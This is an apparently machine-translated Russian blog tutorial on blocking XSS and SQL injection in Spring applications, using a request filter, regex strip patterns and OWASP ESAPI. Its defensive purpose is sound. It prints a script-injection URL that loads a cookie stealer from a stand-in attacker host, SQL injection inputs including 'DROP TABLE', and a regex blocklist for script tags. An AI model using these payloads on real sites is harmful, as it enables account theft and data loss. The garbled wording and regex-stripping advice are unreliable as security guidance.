Как эффективно предотвратить XSS? Эти трюки работают

XSS

Оригинальная ссылка

Предотвратите XSS, эти советы работают

Недавно я пересмотрел серию фильмов "Матрица". Одна атака и одна защита - это действительно захватывающе. Возможно, у нас редко будет возможность коснуться таких глубоких проблем сетевой безопасности в нашей жизни, но, пожалуйста, не игнорируйте замечательные вещи вокруг вас. на работе.

fire-and-water-2354583_1920.jpg

Все должны были слышать о проблеме атаки XSS (Cross-site scripting) и иметь более или менее некоторое представление, но, похоже, мало кто принимает эту проблему близко к сердцу. У одних людей менталитет случайности: «Кто будет атаковать наш сайт от скуки?»; другие могут нести ответственность за свою работу и редко касаться этой темы. Я надеюсь, что после прочтения этой статьи вы сможете обратить внимание на проблему и иметь свои собственные решения.В настоящее время проблема атаки XSS все еще очень серьезна:

Межсайтовый скриптинг (XSS) — распространенная уязвимость компьютерной безопасности в веб-приложениях, позволяющая злоумышленникам внедрить скрипты на стороне клиента в веб-страницы, просматриваемые другими пользователями. Злоумышленники могут использовать уязвимости межсайтового скриптинга, чтобы обойти средства контроля доступа, такие как политика одного и того же источника. По состоянию на 2007 год межсайтовые сценарии, выполняемые Symantec на веб-сайтах, составляли около 84 процентов всех нарушений безопасности. В 2017 году XSS по-прежнему считался основным вектором угроз, причем последствия XSS варьировались от незначительных неудобств до серьезных угроз безопасности, в зависимости от того, насколько уязвимый сайт обрабатывает данные и как владельцы сайтов реализуют политику безопасности для обработки данных.

Разделение типов XSS и другие концептуальные вещи здесь не будут подробно объясняться.Wikipedia Cross-site scriptingОписание очень понятное.В этой статье в основном используются примеры, чтобы читатели могли увидеть серьезность XSS-атак и предложить соответствующие решения.

случай XSS

Если вам не нравятся XSS-кейсы, пропустите это и сразу перейдите крешение. Боб и Алиса часто используются в качестве примеров (трехстороннее рукопожатие, аутентификация SSH и т. д.), чтобы проиллюстрировать, да, следующие случаи также снова сделают их заголовками 😆

Дело номер один

Алиса часто посещает определенный веб-сайт, размещенный Бобом, и веб-сайт Боба позволяет Алисе хранить конфиденциальные данные, такие как платежная информация, после входа в систему с ее именем пользователя/паролем. Когда пользователь входит в систему, браузер сохраняет файл cookie авторизации, который выглядит как какие-то мусорные символы, так что оба компьютера (клиент и сервер) имеют запись о том, что он вошел в систему.

Мэллори замечает, что веб-сайт Боба содержит XSS-уязвимость:

  1. Когда она посещает страницу поиска, она вводит поисковый запрос в поле поиска и нажимает кнопку «Отправить».
  2. При использовании обычного поискового запроса, такого как слово «щенки», страница просто говорит: «Содержимое для щенков не найдено» по адресуhttp://bobssite.org/search?q=puppiesЭто совершенно нормальное поведение.
  3. Однако, когда она отправляет необычный поисковый запрос, такой как<script type ='application / javascript'> alert('xss'); </ script>
    • Появится окно предупреждения (что означает «xss»).
    • На странице отображается «Не найдено» и сообщение об ошибке с текстом «xss».
    • URL-адресhttp://bobssite.org/search?q= <script%20type ='application / javascript'> alert('xss'); </ script>, что является эксплуатируемым поведением

Мэллори создал URL-адрес, который использует эту уязвимость:

  1. она создала URLhttp://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js“> </ script>. Она выбирает кодировку символов ASCII с использованием процентного кодирования, например.http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22 %3E%3C%2Fscript%3E, чтобы читатели не могли сразу расшифровать вредоносный URL
  2. Она отправила электронное письмо некоторым ничего не подозревающим пользователям веб-сайта Боба, в котором говорилось: «Посмотрите на этих очаровательных щенков!»

Алиса на почту, что ей нравятся щенки, и переходит по ссылке. Он заходит на веб-сайт Боба для поиска, ничего не находит и говорит «щенок не найден», но в этот момент запускается тег скрипта (которого Алиса не видит на экране) и загружает и запускает программу Мэллори authstealer .js (срабатывает XSS-атака)

Программа authstealer.js запускается в браузере Алисы, как если бы вы обычно посещали веб-сайт Боба. Но программа захватывает копию файла cookie авторизации Алисы и отправляет ее на сервер Мэллори.

Мэллори теперь ставит авторизацию Alice Cookie в своем браузере, и она идет на веб-сайт Боб и входит в систему как Алиса.

Мэллори входит в раздел выставления счетов на веб-сайте под видом Алисы, ищет номер кредитной карты Алисы и берет копию. Затем она идет менять свой пароль, чтобы после этого Алиса даже не могла войти в систему.

Мэллори решает пойти еще дальше, отправив аналогичную ссылку самому Бобу, тем самым получив доступ к веб-мастеру Боба.

Случай 2

Внедрение SQL обычно происходит, когда пользователя просят ввести, например, имя пользователя/идентификатор пользователя, пользователь дает вам инструкцию SQL, которую вы непреднамеренно запустите в базе данных. Посмотрите следующий пример, в котором создается оператор SELECT путем добавления переменной (txtUserId) в строку выбора. Переменная получается из пользовательского ввода (getRequestString):

txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

Когда пользователь вводит userId =105 OR 1=1, тогда SQL будет выглядеть примерно так:

SELECT * FROM Users WHERE UserId = 105 OR 1=1;

Условие ИЛИ всегда верно, поэтому можно получить всю информацию о пользователе. Если пользователь вводит userId =105; DROP TABLE Suppliers, то оператор SQL будет выглядеть так

SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;

Таким образом, таблица поставщиков случайно удаляется.

Как видно из приведенных выше примеров, проблемы, связанные с XSS, могут быть большими или малыми, начиная от утечки пользовательских данных и сбоя системы и заканчивая различными неожиданными исключениями на странице. «Мухи не кусают бесшовные яйца», нам нужно придумать решения, чтобы исправить эту трещину. Но решение проблемы XSS требует использования нескольких решений:

  1. Фронтенд действительно формирует проверку легитимности данных (это первый уровень защиты, хотя он необходим для предотвращения джентльмена, а не злодея)
  2. Внутренняя фильтрация и замена данных (всегда есть люди, которые будут вводить незаконные данные с помощью инструментов для посещения вашего сервера)
  3. Спецификации кодирования данных уровня сохраняемости, такие как использование Mybatis, см.Не используйте «$» и «#» в Mybatis.Знайте эти маленькие детали В этой статье в основном представлены решения для второго способа

решение

Не смотрите вниз, подумайте об этом, во всем процессе запроса HTTP RESTful, если вы используете серверную службу для фильтрации и замены данных запроса, какие решения вы можете придумать?

В конце статьи обратите внимание на паблик-аккаунт, и принять вас изучать технологии Java так же интересно, как читать детективный роман

Spring AOP

Использование Spring AOP для пересечения всех записей API кажется очень простым в реализации, но (английский ключ прослушивания 😂), дизайн API RESTful не является унифицированным форматом входных параметров.Есть входные параметры RequestParam для запросов GET и ввод RequestBody для запросов POST. Трудно обрабатывать различные входные параметры унифицированным образом, поэтому это не очень хороший способ. Для разработки интерфейса RESTful вы можете обратиться кКак разработать хороший RESTful API?

HttpMessageConverter

Запрошенные данные JSON должны быть преобразованы HttpMessageConverter, обычно мы можем добавитьMappingJackson2HttpMessageConverterи переписатьreadInternalметод:

@Override
protected Object readInternal(Class<?> clazz, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException {
    return super.readInternal(clazz, inputMessage);
}

После получения преобразованного объекта Java обработайте текущий объект, но этот метод не может обрабатывать запросы GET, поэтому это не очень хорошее решение.Если вы хотите узнать больше о процессе преобразования данных HttpMessageConverter, вы можете просмотретьКак HttpMessageConverter конвертирует данные?

Filter

Servlet Filter не вводит больше, через Filter можно фильтровать HTTP-запрос, мы можем получить всю информацию о запросе, так что мы можем устроить здесь большую суету У нас есть два способа настроить наш фильтр

  1. выполнитьjavax.servlet.Filterинтерфейс
  2. Наследование в среде Springorg.springframework.web.filter.OncePerRequestFilterабстрактный класс Вот второй способ:
@Slf4j
public class GlobalSecurityFilter extends OncePerRequestFilter {
	@Override
	protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
		String userInput = request.getParameter("param");
		if (userInput != null && !userInput.equalsIgnoreCase(HtmlUtils.htmlEscape(userInput))) {
			throw new RuntimeException();
		}
		String requestBody = IOUtils.toString(request.getInputStream(), "UTF-8");
		if (requestBody != null && !requestBody.equalsIgnoreCase(HtmlUtils.htmlEscape(requestBody))) {
			throw new RuntimeException();
		}
		filterChain.doFilter(request, response);
	}
}

Затем зарегистрируйте фильтр

@Bean
public FilterRegistrationBean filterRegistrationBean() {
    FilterRegistrationBean registration = new FilterRegistrationBean();
    registration.setFilter(globalSecurityFilter());
    //URL 过滤 pattern 设置
    registration.addUrlPatterns(validatePath + "/*");
    registration.setOrder(5);
    return registration;
}

@Bean(name = "globalSecurityFilter")
public Filter globalSecurityFilter() {
    return new GlobalSecurityFilter();
}

Это решение кажется очень простым и грубым решением, но есть следующие проблемы:

  1. Возникает исключение, нет единого формата возврата сообщения RESTful, и процесс недоступен после создания исключения.
  2. перечислитьrequest.getInputStream()Чтение потока может быть прочитано только один раз, и вызов последующего фильтра цепочки ответственности приведет кrequest.getInputStream()Содержимое пусто, даже если это последний фильтр в цепочке ответственности Filter, при запуске программы в HttpMessageConverter будет выдано исключение. Чтобы понять процесс вызова цепочки ответственности «Фильтр», вы можете просмотретьОбязательные шаблоны проектирования цепочки ответственности
  3. После прочтения случая атаки XSS в начале статьи, заменяемое содержимое HtmlUtils.htmlEscape(...) ограничено и недостаточно богато. нам нужно пройтиHttpServletRequestWrapperСделайте несколько чтений потока, когда увидите это имяXXXWrapper, вы должны думать, что это относится к шаблону проектирования Java - шаблону оформления (это базовое качество детектива 😄), сначала посмотрите на диаграмму классов:
    Xnip2019-06-26_17-08-15.jpg

HTTPSERVLETREQUESTWRAPPER наследует ServletRequestWrapper и реализует интерфейс HTTPSERVLETREQUEST, нам нужно только определить вашу собственную оболочку и переписать метод внутри.

@Slf4j
public class GlobalSecurityRequestWrapper extends HttpServletRequestWrapper {

    //将读取的流内容存储在 body 字符串中
	private final String body;

	//定义Pattern数组,用于正则匹配,可添加其他pattern规则至此
	private static Pattern[] patterns = new Pattern[]{
			// Script fragments
			Pattern.compile("<script>(.*?)</script>",Pattern.CASE_INSENSITIVE),
			// src='...'
			Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
			Pattern.compile("src[\r\n]*=[\r\n]*\\\"(.*?)\\\"",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
			// lonely script tags
			Pattern.compile("</script>",Pattern.CASE_INSENSITIVE),
			Pattern.compile("<script(.*?)>",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
			// eval(...)
			Pattern.compile("eval\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
			// expression(...)
			Pattern.compile("expression\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
			// javascript:...
			Pattern.compile("javascript:",Pattern.CASE_INSENSITIVE),
			// vbscript:...
			Pattern.compile("vbscript:",Pattern.CASE_INSENSITIVE),
			
			//在此添加其他 Pattern,更多 Pattern 内容,可以从文末 demo 处获取全部代码
	};


    /**
    *通过构造函数装饰 HttpServletRequest,同时将流内容存储在 body 字符串中
    */
	public GlobalSecurityRequestWrapper(HttpServletRequest servletRequest) throws IOException{
		super(servletRequest);

		StringBuilder stringBuilder = new StringBuilder();
		BufferedReader bufferedReader = null;
		try {
			InputStream inputStream = servletRequest.getInputStream();
			if (inputStream != null) {
				bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
				char[] charBuffer = new char[128];
				int bytesRead = -1;
				while ((bytesRead = bufferedReader.read(charBuffer)) > 0) {
					stringBuilder.append(charBuffer, 0, bytesRead);
				}
			} else {
				stringBuilder.append("");
			}
		} catch (IOException ex) {
			throw ex;
		} finally {
			if (bufferedReader != null) {
				try {
					bufferedReader.close();
				} catch (IOException ex) {
					throw ex;
				}
			}
		}
		//将requestBody内容以字符串形式存储在变量body中
		body = stringBuilder.toString();
		log.info("过滤和替换前,requestBody 内容为: 【{}】", body);
	}

    /**
	 * 将 body 字符串重新转换为ServletInputStream, 用于request.inputStream 读取流
	 * @return
	 * @throws IOException
	 */
	@Override
	public ServletInputStream getInputStream() throws IOException {
		String encodedBody = stripXSS(body);
		log.info("过滤和替换后,requestBody 内容为: 【{}】", encodedBody);

		final ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(encodedBody.getBytes());
		ServletInputStream servletInputStream = new ServletInputStream() {
			@Override
			public int read() throws IOException {
				return byteArrayInputStream.read();
			}

			@Override
			public boolean isFinished() {
				return byteArrayInputStream.available() == 0;
			}

			@Override
			public boolean isReady() {
				return true;
			}

			@Override
			public void setReadListener(ReadListener readListener) {

			}
		};
		return servletInputStream;
	}

	/**
	 * 调用该方法,可以多次获取 requestBody 内容
	 * @return
	 */
	public String getBody() {
		return this.body;
	}
	
	@Override
	public BufferedReader getReader() throws IOException {
		return new BufferedReader(new InputStreamReader(this.getInputStream()));
	}

	/**
	 * 获取 request (http://127.0.0.1/test?a=1&b=2) 请求参数,多个参数返回 String[] 数组
	 * @param parameter
	 * @return
	 */
	@Override
	public String[] getParameterValues(String parameter) {
		String[] values = super.getParameterValues(parameter);

		if (values == null) {
			return null;
		}

		int count = values.length;
		String[] encodedValues = new String[count];
		for (int i = 0; i < count; i++) {
			encodedValues[i] = stripXSS(values[i]);
		}

		return encodedValues;
	}

	/**
	 * 获取单个请求参数
	 * @param parameter
	 * @return
	 */
	@Override
	public String getParameter(String parameter) {
		String value = super.getParameter(parameter);

		return stripXSS(value);
	}

	/**
	 * 获取请求头信息
	 * @param name
	 * @return
	 */
	@Override
	public String getHeader(String name) {
		String value = super.getHeader(name);
		return stripXSS(value);
	}

	/**
	 * 标准过滤和替换方法
	 * @param value
	 * @return
	 */
	private String stripXSS(String value){
		if (value != null) {
			// 使用 ESAPI 避免 encoded 的代码攻击
			value = ESAPI.encoder().canonicalize(value, false, false);
			value = patternReplace(value);
		}
		return value;
	}

    /**
    * 根据 Pattern 替换字符
    */
    private String patternReplace(String value){
		if (StringUtils.isNotBlank(value)){
			// 避免null
			value = value.replaceAll("\0", "");

			// 根据Pattern匹配到的字符,做""替换
			for (Pattern scriptPattern : patterns){
				value = scriptPattern.matcher(value).replaceAll("");
			}
		}
		return value;
	}
	
}

Пока что измените код в GlobalSecurityFilter и поместите переписанный GlobalSecurityRequestWrapper обратно в FilterChain.

GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper(request);
filterChain.doFilter(xssHttpServletRequestWrapper, response);

Все вышеперечисленные методы аннотированы и просты для понимания.Мы видим, что ESAPI представлен в методе stripXSS.О том, как внедрить ESAPI, см. в текущей статье.Метод введения ESAPIЧасть контента, смотрите код:

ESAPI.encoder().canonicalize(value, false, false);

Этот код является самым простым способом использования ESAPI, в основном для предотвращения атаки XSS на закодированный код.Это простое использование не представляет проблемы в запросе GET, но если это запрос POST, данные в requestBody будут заменены на «». разрушает структуру json и вызывает последующие ошибки синтаксического анализа.Почему это происходит?ESAPI.encoder()Построенный по умолчаниюDefaultEncoder, Просмотрите это обнаружение класса:

/**
 * Instantiates a new DefaultEncoder
 */
private DefaultEncoder() {
	codecs.add( htmlCodec );
	codecs.add( percentCodec );
	codecs.add( javaScriptCodec );
}

вjavaScriptCodecзаключается в замене "" на "" в соответствии со стандартом JavaScript, поэтому нам нужно внести пользовательские изменения, продолжайте видетьEncoderинтерфейс, найдите следующие методы:

String canonicalize(String input, boolean restrictMultiple, boolean restrictMixed);

Глядя на комментарии к этому методу, мы знаем, что можем построить собственный кодировщик через конструктор DefaultEncoder с параметрами:

List codecs = new ArrayList(2);
codecs.add( new HTMLEntityCodec());
codecs.add( new PercentCodec());
DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));

Таким образом, мы можем переопределить метод stripXSSRequestBody для использования в переопределенном методе getInputStream.

/**
 * 请求体处理,多用于json数据,自定义encoder,排除掉javascriptcodec
 * @param value
 * @return
 */
private String stripXSSRequestBody(String value){
	if (value != null) {
		List codecs = new ArrayList(4);
		codecs.add( new HTMLEntityCodec() );
		codecs.add( new PercentCodec());
		DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));
		// 使用 ESAPI 避免 encoded 的代码攻击
		value = defaultEncoder.canonicalize(value, false, false);
		value = patternReplace(value);
	}
	return value;
}

Решил проблему запроса, нам нужно еще больше решить проблему запроса впрыска против SQL, мы можем переписать его вgetParameterValuesВ методе используется следующий метод:

/**
 * 防Sql注入,多用于带参数查询
 * @param value
 * @return
 */
private String stripXSSSql(String value) {
	Codec MYSQL_CODEC = new MySQLCodec(MySQLCodec.Mode.STANDARD);
	if (value != null) {
		// 使用 ESAPI 避免 encoded 的代码攻击
		value = ESAPI.encoder().canonicalize(value, false, false);

		value = ESAPI.encoder().encodeForSQL(MYSQL_CODEC, value);
	}
	return value;
}

ESAPI.encoder() также имеет множество настраиваемых фильтров, пожалуйста, найдите и настройте его самостоятельно, я не буду здесь слишком много объяснять. Проблема пока не решена.Оно связано с закачкой файлов.Можно делать файлы и другими способами.魔术数字чек,文件后缀чек,文件大小Нет необходимости проверять содержимое XSS в этом месте, поэтому нам нужно внести некоторые изменения в фильтр, а не обрабатывать contentType какmultipart/form-dataзапрос

String contentType = request.getContentType();
if (StringUtils.isNotBlank(contentType) && contentType.contains("multipart/form-data")){
	filterChain.doFilter(request, response);
}else {
	GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper((HttpServletRequest)request);
	filterChain.doFilter(xssHttpServletRequestWrapper, response);
}

Конечно, в этом методе еще есть место для дальнейшего улучшения, такого как добавление белого списка (метод конфигурации YAML) и т. Д. Конкретный бизнес необходимо подробно проанализировать, но после прочтения этого я считаю, что идеи каждого были раскрыты. , и вы можете создать свой собственный.

Метод введения ESAPI

ESAPI (API Enterprise Security API) - это бесплатный API веб-приложения с открытым исходным кодом, который стремится помочь разработчикам разработать более безопасный код. Для получения дополнительной информации, пожалуйста, обратитесь кOWASPилиESAPI githubИспользуя ESAPI, нам нужно импортировать соответствующий пакет jar

постепенно

compile group: 'org.owasp.esapi', name: 'esapi', version: '2.0.1'

опытный путь

<dependency>
    <groupId>org.owasp.esapi</groupId>
    <artifactId>esapi</artifactId>
    <version>2.0.1</version>
</dependency>

добавить ресурсы в корневой каталогESAPI.propertiesдокументы иvalidation.propertiesДва файла, до сих пор мы можем использовать ESAPI, чтобы помочь нам решить проблему XSS. Содержание файла можно получить, загрузив источник ESAPI, или его можно получить из демонстрации загрузки.

вопрос души

  1. Знакомы ли вы с шаблоном проектирования Java Decorator? Можете ли вы придумать, где во фреймворке используется этот шаблон проектирования?
  2. Почему простая проверка суффикса файла является небезопасным методом проверки?
  3. Смотрели «Матрицу»? (Этот вопрос чисто шуточный)

Инструменты, которые могут повысить эффективность

Следуйте по официальному счету, чтобы узнать больше инструментов, которые могут повысить эффективность работы, и принять вас для изучения технологии Java настолько интересной как детектив

Key Promoter X

Key Promoter X - это инструмент для изучения ярлыков в Intellij IDEA.При нажатии на некоторые функции в IDE, Key Promoter X подскажет правый нижний угол вместо этого, если текущая манипуляция не установлена ​​Ярлык, вы также можете быстро настроить, повысить эффективность работы

screenshot_17105.gif


a (1).png

Получение демо-кода

В конце статьи обратите внимание на публичный аккаунт «Sun Gong Yibing» и ответьте на «demo», чтобы получить демо-код.